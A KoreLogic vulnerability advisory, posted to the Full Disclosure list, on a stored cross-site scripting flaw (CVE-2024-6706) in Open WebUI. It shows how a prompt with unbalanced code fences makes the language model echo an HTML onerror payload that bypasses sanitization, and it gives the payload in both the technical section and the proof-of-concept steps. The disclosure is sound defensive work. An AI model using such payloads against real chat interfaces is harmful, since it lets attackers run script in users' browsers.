Full Disclosure mailing list archives

KL-001-2024-005: Open WebUI Stored Cross-Site Scripting

Title: Open WebUI Stored Cross-Site Scripting
Advisory ID: KL-001-2024-005
Publication Date: 2024.08.06
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-005.txt


1. Vulnerability Details

     Affected Vendor: Open WebUI
     Affected Product: Open WebUI
     Affected Version: 0.1.105
     Platform: Debian 12
     CWE Classification: CWE-79: Improper Neutralization of Input During Web
                         Page Generation ('Cross-site Scripting')
     CVE ID: CVE-2024-6706


2. Vulnerability Description

     Attackers can craft a malicious prompt that coerces
     the language model into executing arbitrary JavaScript
     in the context of the web page.


3. Technical Description

     The responses from language models are retrieved from an API
     call and displayed to the user by inserting the response into
     the web page. These responses are often in markdown. Before
     the content is inserted the markdown is converted to HTML and
     most special characters are outside of markdown codeblocks
     are converted to their respective HTML entity, as to ensure
     text that resembles HTML tags are rendered literally.

     However, these special characters are NOT encoded if they
     appear inside a markdown codeblock. For example, take the
     following response:

        ```
        <script>prompt()</script>
        ```

     Once parsed, the resulting HTML inserted into the page is
     as follows:

        <code class="language- rounded-t-none whitespace-pre">
            &lt;img
            <span class="hljs-attribute">src</span>
            =
            <span class="hljs-string">"x"</span>
            &gt;
        </code>

     As shown above, problematic characters such as angle-brackets
     are properly sanitized. Now, take for example the following
     prompt:

        foo
        ```
        bar
        ```
        zoinks
        ```
        <img src='x' onerror='prompt("@korelogic")'>

    Notice the markdown codeblocks included in the prompt are uneven
    and not closed properly. When the language model follows the
    prompt, the above text should be inserted between two sets
    of triple-backticks:

        The text between the codeblocks will be rendered as it is, without any modifications. Here is the rendered 
output:

        ```
        foo
        ```
        bar
        ```
        zoinks
        ```
        <img src='x' onerror='prompt("@korelogic")'>

    Strangely, the language model accounted for the missing backticks
    and omitted the final set. When this response is rendered by Open
    WebUI, the string "foo" and "zoinks" are inserted into <code>
    HTMLtags, while the rest is simply rendered in the browser
    as HTML:

        <div class="w-full">
          <p>Here's the corrected response with the backticks included:</p>
          <div class="mb-4">

              <div class="p-1"></div>
              <button class="copy-code-button bg-none border-none p-1">Copy Code</button>
            </div>
            <pre class="rounded-b-lg hljs p-4 px-5 overflow-x-auto rounded-t-none">
                    <code class="language- rounded-t-none whitespace-pre">
                        <span class="hljs-attribute">foo</span>
                    </code>
                </pre>
          </div>
          <p>bar</p>
          <div class="mb-4">

              <div class="p-1"></div>
              <button class="copy-code-button bg-none border-none p-1">Copy Code</button>
            </div>
            <pre class="rounded-b-lg hljs p-4 px-5 overflow-x-auto rounded-t-none">
                    <code class="language- rounded-t-none whitespace-pre">
                        <span class="hljs-attribute">zoinks</span>
                    </code>
                </pre>
          </div>
          <img src="x" onerror="prompt('@zzgoon')"> ```

    This client-side vulnerability could be the result of expected
    behavior from HTML codeblocks. Since <code> tags are designed
    to contain raw HTML that is rendered as literal strings,
    sanitization is skipped. However, by feeding the model invalid
    markdown it is possible to confuse the sanitizer and execute
    arbitrary JavaScript, as demonstrated above.


4. Mitigation and Remediation Recommendation

     No response from vendor; maintainer closed GitHub security
     report GHSA-6953-m722-rpq8 on 2024.05.02. As of publication,
     this issue appears to be remediated.


5. Credit

     This vulnerability was discovered by Jaggar Henry and Sean
     Segreti of KoreLogic, Inc.


6. Disclosure Timeline

     2024.03.05 - KoreLogic requests secure communications channel and point
                  of contact from OpenWebUI.com via email.
     2024.03.12 - KoreLogic submits vulnerability details to maintainer via
                  Github Security 'Report a vulnerability' web form.
     2024.04.01 - KoreLogic opens Discussion #1385 via GitHub to request an
                  update from the maintainer.
     2024.04.16 - 30 business days have elapsed since KoreLogic
                  attempted to contact the vendor.
     2024.05.02 - Maintainer closes GitHub security report
                  GHSA-6953-m722-rpq8.
     2024.05.29 - 60 business days have elapsed since KoreLogic
                  attempted to contact the vendor.
     2024.07.12 - 90 business days have elapsed since KoreLogic
                  attempted to contact the vendor.
     2024.08.06 - KoreLogic public disclosure.


7. Proof of Concept

    1. Click "New Chat" on the top left of the screen
    2. Select a language model via the dropdown at the top
       of the screen, such as "codellama:latest".
    3. Paste the following prompt into the message box at
       the bottom of the screen:

          ```
          foo
          ```
          bar
          ```
          zoinks
          ```
          <img src='x' onerror='prompt("@korelogic")'>

    4. Send the message.
    5. Observe the JavaScript message box that has appeared at
       the top of the screen.


The contents of this advisory are copyright(c) 2024
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy

Attachment: OpenPGP_signature.asc
Description: OpenPGP digital signature

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

Current thread:

• KL-001-2024-005: Open WebUI Stored Cross-Site Scripting KoreLogic Disclosures via Fulldisclosure (Aug 07)